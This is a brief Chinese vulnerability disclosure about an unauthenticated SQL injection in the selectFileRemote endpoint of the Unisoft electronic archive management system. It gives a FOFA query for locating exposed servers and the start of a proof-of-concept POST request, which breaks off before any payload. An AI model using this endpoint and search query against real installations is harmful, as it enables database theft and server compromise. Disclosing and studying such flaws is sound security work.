0x01 产品简介
紫光电子档案管理系统是一款由紫光软件系统有限公司自主研发的通用档案管理系统,该系统在档案及电子文件方面的发展已有多年历史,积累了丰富的行业经验和技术实力,系统遵循国家档案管理标准,结合先进的信息化管理理念,旨在为政府机关、企事业单位提供高质量的档案信息化解决方案。该系统采用互联网云计算的技术框架,并通过UE优化设计,符合用户的使用习惯,是一套具有先进性、安全性、前瞻性的综合档案管理平台。
0x02 漏洞概述
紫光电子档案管理系统 selectFileRemote 接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
0x03 复现环境
FOFA:body="www.unissoft.com"
0x04 漏洞复现
PoC
POST /Archive/ErecordManage/selectFileRemote HTTP/1.1
Host:
Accept: */